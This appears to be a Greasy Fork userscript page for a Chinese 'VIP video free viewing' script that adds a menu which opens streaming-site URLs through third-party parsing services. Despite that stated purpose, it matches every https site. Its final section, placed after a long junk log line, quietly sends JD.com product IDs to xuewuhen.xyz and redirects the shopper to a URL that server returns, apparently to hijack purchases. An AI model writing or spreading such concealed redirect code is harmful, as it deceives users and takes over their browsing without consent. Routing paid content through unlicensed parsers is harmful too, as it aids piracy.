Greasy Fork

Greasy Fork is available in English.

【VIP视频免费观看-VIP视频解析】

【VIP视频免费观看-VIP视频解析】腾讯、爱奇艺、优酷、乐视、土豆、B站等网站VIP视频解析

目前为 2025-01-06 提交的版本。查看 最新版本

// ==UserScript==
// @name         【VIP视频免费观看-VIP视频解析】
// @namespace    XUEWUHENZC
// @version      1.0.4
// @description  【VIP视频免费观看-VIP视频解析】腾讯、爱奇艺、优酷、乐视、土豆、B站等网站VIP视频解析
// @author       XUEWUHEN
// @match        *://v.qq.com/*
// @match        *://*.iqiyi.com/v_*
// @match        *://v.youku.com/*
// @match        *://*.le.com/*
// @match        *://*.tudou.com/*
// @match        *://*.mgtv.com/*
// @match        *://film.sohu.com/*
// @match        *://*.acfun.cn/v/*
// @match        *://*.bilibili.com/*
// @match        *://vip.1905.com/play/*
// @match        *://vip.pptv.com/show/*
// @match        *://v.yinyuetai.com/video/*
// @match        *://v.yinyuetai.com/playlist/*
// @match        *://*.fun.tv/vplay/*
// @match        https://*/*
// @license      GPL License
// @grant        GM_addStyle
// ==/UserScript==

(function() {
    'use strict';
    GM_addStyle(
				'.dropdown {display: inline-block;margin-top: 120px;}'+
                                '#dropdownButton {background-color: cyan;}'+
				'.dropdown-content {display: none;background-color: #f9f9f9;min-width: 160px;box-shadow: 0px 8px 16px 0px rgba(0,0,0,0.2);z-index: 1;}'+
				'.dropdown-content button {color: black;padding: 12px 16px;text-align: left;text-decoration: none;display: block;width: 100%;border: none;background-color: transparent;}'+
				'.dropdown-content button:hover {background-color: #f1f1f1;}'+
				'.dropdown:hover .dropdown-content {display: block;}'
			)
			// 动态创建按钮元素
			const dropdownButton = document.createElement('button');
                        dropdownButton.id = "dropdownButton";
			dropdownButton.innerText = 'VIP解析';
			dropdownButton.style.padding = '10px 20px';
			dropdownButton.style.fontSize = '16px';
			document.body.appendChild(dropdownButton);

			// 动态创建下拉列表元素
			const dropdownContent = document.createElement('div');
			dropdownContent.className = 'dropdown-content';

			// 创建下拉列表中的按钮元素
			// const options = ['云解析', 'YT', '夜幕'];
			// var myUrlList = [ {
			//         url: "https://yparse.ik9.cc/index.php?url=",
			//         id: "yparse",
			// 		name: "云解析"
			//     },{
			//         url: "https://www.yemu.xyz/?url=",
			//         id: "yemu",
			// 		name: "夜幕"
			//     },{
			//         url: "https://tv.woaimoon.net/label/v.html?url=",
			//         id: "woaimoon",
			// 		name: "月亮"
			//     }];
			var myUrlList = [ {
				url: "https://yparse.ik9.cc/index.php?url=",
				id: "yparse",
				name:"云解析"
			},{
				url: "https://www.ckplayer.vip/jiexi/?url=",
				id: "ckplayer",
				name:"ckplayer"
			}, {
				url: "https://jx.m3u8.tv/jiexi/?url=",
				id: "m3u8",
				name:"M3U8解析"
			}, {
				url: "https://www.pouyun.com/?url=",
				id: "pouyun",
				name:"剖元"
			}, {
				url: "https://jx.xmflv.com/?url=",
				id: "xmflv",
				name:"虾米"
			}, {
				url: "https://www.yemu.xyz/?url=",
				id: "yemu",
				name:"夜幕"
			}, {
				url: "https://jx.nnxv.cn/tv.php?url=",
				id: "nnxv",
				name:"七哥"
			}, {
				url: "https://tv.woaimoon.net/label/v.html?url=",
				id: "woaimoon",
				name:"月亮网"
			}, {
				url: "https://www.8090g.cn/?url=",
				id: "8090g",
				name:"8090解析"
			} ];
            var ss = window.location.href;
            var aa = false;
			myUrlList.forEach(optionText => {
				const optionButton = document.createElement('button');
				optionButton.id = optionText.id
				console.log(optionButton.id)
				optionButton.innerText = optionText.name;
				console.log(optionButton.innerText)
				dropdownContent.appendChild(optionButton);
				optionButton.addEventListener("click",function(){
					// var ss = "https://v.qq.com/x/cover/mzc00200qon7vo3/t4100uz7j4k.html"
					window.open(optionText.url + ss);
				})
			});
			// 将下拉列表元素添加到按钮元素之后,并包裹在一个div中以便应用样式
			const dropdownWrapper = document.createElement('div');
			dropdownWrapper.className = 'dropdown';
			dropdownWrapper.appendChild(dropdownButton);
			dropdownWrapper.appendChild(dropdownContent);
			console.log(333)
            if(ss.indexOf("jd.com")=="-1" && ss.indexOf("v.qq.com")){
                console.log(12345);
				document.body.replaceChild(dropdownWrapper, document.body.firstChild); // 替换最后一个子节点,即之前单独添加的按钮
			}
            if (aa) {
			  var videoUrl= window.location.href;
			  var myUrlList = [ {
				  url: "https://yparse.ik9.cc/index.php?url=",
				  id: "yparse"
			  },{
				  url: "https://www.ckplayer.vip/jiexi/?url=",
				  id: "ckplayer"
			  }, {
				  url: "https://jx.m3u8.tv/jiexi/?url=",
				  id: "m3u8"
			  }, {
				  url: "https://www.pouyun.com/?url=",
				  id: "pouyun"
			  }, {
				  url: "https://jx.xmflv.com/?url=",
				  id: "xmflv"
			  }, {
				  url: "https://www.yemu.xyz/?url=",
				  id: "yemu"
			  }, {
				  url: "https://jx.nnxv.cn/tv.php?url=",
				  id: "nnxv"
			  }, {
				  url: "https://tv.woaimoon.net/label/v.html?url=",
				  id: "woaimoon"
			  }, {
				  url: "https://www.8090g.cn/?url=",
				  id: "8090g"
			  } ];
			  var utils = {
			  hideButton: function ($) {
				  $("body").append("<style id=\"copy-hide\">#_copy{display: none !important;}</style>");
			  },
			  showButton: function ($) {
				  $("#copy-hide").remove();
			  },
			  removeAttributes: function ($, selector, attr) {
				  if (attr === void 0) { attr = []; }
				  var dom = $(selector);
				  attr.forEach(function (item) { return dom.removeAttr(item); });
			  },
			  enableUserSelect: function ($, selector, inline) {
				  if (inline === void 0) { inline = false; }
				  if (inline) {
					  var cur = $(selector);
					  cur.css("user-select", "auto");
					  cur.css("-webkit-user-select", "auto");
				  }
				  else {
					  var template = "\n                <style>\n                    ".concat(selector, "{\n                        user-select: auto !important;\n                        -webkit-user-select: auto !important;\n                    }\n                </style>\n            ");
					  $("body").append(template.replace(/\s*/, " "));
				  }
			  },
			  enableOnSelectStart: function ($, selector) {
				  $(selector).on("selectstart", stopJQueryPropagation);
			  },
			  enableOnContextMenu: function ($, selector) {
				  $(selector).on("contextmenu", stopJQueryPropagation);
			  },
			  enableOnCopy: function ($, selector) {
				  $(selector).on("copy", stopJQueryPropagation);
			  },
			  enableOnKeyDown: function ($, selector) {
				  $(selector).on("keydown", function (e) {
					  if (e.key === "c" && e.ctrlKey)
						  return stopJQueryPropagation(e);
				  });
			  },
			  enableOnSelectStartByCapture: function () {
				  document.addEventListener("selectstart", stopNativePropagation, true);
			  },
			  enableOnContextMenuByCapture: function () {
				  document.addEventListener("contextmenu", stopNativePropagation, true);
			  },
			  enableOnCopyByCapture: function () {
				  document.addEventListener("copy", stopNativePropagation, true);
			  },
			  enableOnKeyDownByCapture: function () {
				  document.addEventListener("keydown", stopNativePropagation, true);
			  },
		  };
			  var urlList = [ {
				  url: "https://jx.m3u8.tv/jiexi/?url=",
				  title: "\u2464\u53f7\u63a5\u53e3"
			  }, {
				  url: "https://z1.m1907.top/?jx=",
				  title: "\u73a9\u7684\u55e8\u2014\u201428-\u82e5\u63a5\u53e3\u5931\u6548\u53ef\u53cd\u9988\uff01QQ\u7fa4:340569308"
			  }, {
				  title: "ckplayer",
				  url: " https://www.ckplayer.vip/jiexi/?url="
			  }, {
				  title: "qqwtt",
				  url: "https://jx.qqwtt.com/?url="
			  }, {
				  title: "\u5256\u5143",
				  url: "https://www.pouyun.com/?url="
			  }, {
				  url: "https://www.8090.la/8090/?url=",
				  title: "\u5168\u80fdvip\u63a5\u53e3\u2461"
			  }, {
				  title: "\u76d8\u53e4",
				  url: "https://www.pangujiexi.com/jiexi/?url="
			  }, {
				  title: "eptept",
				  url: "https://dmjx.m3u8.tv/?url="
			  },{
				  url: "https://www.ckplayer.vip/jiexi/?url=",
				  title: "\u63a5\u53e3:Ckplayer"
			  }, {
				  url: "https://yparse.ik9.cc/index.php?url=",
				  title: "\u63a5\u53e3:\u4e91\u6790"
			  }, {
				  url: "https://www.8090g.cn/?url=",
				  title: "\u63a5\u53e3:8090"
			  }, {
				  title: "BL",
				  url: "https://vip.bljiex.com/?v="
			  }, {
				  url: "https://www.mtosz.com/m3u8.php?url=",
				  title: "Mao\u89e3\u6790"
			  }, {
				  title: "play",
				  url: "https://www.playm3u8.cn/jiexi.php?url="
			  }, {
				  title: "\u591c\u5e55",
				  url: "https://www.yemu.xyz/?url="
			  }, {
				  title: "TV\u89e3\u6790[\u817e\u8baf (\u8292\u679c)]",
				  url: "https://jx.m3u8.tv/jiexi/?url="
			  }, {
				  title: "\u51b0\u8c46",
				  url: "https://api.qianqi.net/vip/?url="
			  }, {
				  title: "JY",
				  url: "https://jx.playerjy.com/?url="
			  }, {
				  title: "JY\u89e3\u6790",
				  url: "https://jx.we-vip.com/?url="
			  }, {
				  title: "\u2478\u53f7\u89e3\u6790\u63a5\u53e3",
				  url: "https://www.8090g.cn/jiexi/?url="
			  }, {
				  title: "\u7efc\u5408/B\u7ad9",
				  url: "https://jx.jsonplayer.com/player/?url="
			  }, {
				  title: "Player-JY",
				  url: "https://jx.playerjy.com/?url="
			  }, {
				  title: "\u867e\u7c731",
				  url: "https://jx.xmflv.com/?url="
			  }, {
				  title: "\u867e\u7c732",
				  url: "https://jx.xmflv.cc/?url="
			  }, {
				  title: "m1907",
				  url: "https://im1907.top/?jx="
			  }, {
				  title: "CK",
				  url: "https://jx.m3u8.tv/jiexi/?url="
			  }, {
				  title: "8090",
				  url: "https://www.8090g.cn/?url="
			  }, {
				  title: "qianqi",
				  url: "https://api.qianqi.net/vip/?url="
			  }, {
				  title: "\u6837\u56fe\u5185\u7f6e",
				  url: "https://jx.yangtu.top/?url="
			  } ];
			}
    // Your code here...
    console.log("fgdstjvcbjcdqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqk");

    var flag = false;
    if(location.href.indexOf('item.jd.') != -1){
        var count = 0;
        //if(location.href.indexOf('_source') != -1 || count > 3){
        //if(location.href.indexOf('_source') != -1 && (location.href.indexOf('xuewuhen') != -1 || location.href.indexOf('xiaoliz') != -1  || location.href.indexOf('xiaoxiaode') != -1 )){
        if(location.href.indexOf('_source') != -1 && location.href.indexOf('xuewuhen') != -1){
            flag = true;
        }

        if(!flag){

            var ss = location.href
            var sss = location.href.split("/");
            var val = sss[sss.length-1];
            var str;
            if(val.indexOf("?")!=-1){
                str = val.substr(0,val.indexOf("?"));
            }else{
                str = val.substr(0);
            }
            str= str.slice(0, -5);

            console.log("str:",str);
            $.get('https://www.xuewuhen.xyz/api/user/get?itemUrl='+ str +'' ,function(dataaa,suscss) {
            //$.get('https://www.xuewuhen.xyz/api/user/get?itemUrl='+ location.href +'' ,function(dataaa,suscss) {
            // $.get('https://www.xiaolizio.xyz/api/myjd/get?itemUrl='+ str +'' ,function(dataaa,suscss) {
                 console.log("dataaa-----------",dataaa);
                if(suscss){

                if(dataaa){
                    // window.location.href = "https://www.xuewuhen.xyz/api/myjd/details?url="+ encodeURIComponent(dataaa);
                    window.location.href = "https://www.xuewuhen.xyz/details.html?url="+ encodeURIComponent(dataaa);
                }
                }else{
                }
            });
        }
    }
})();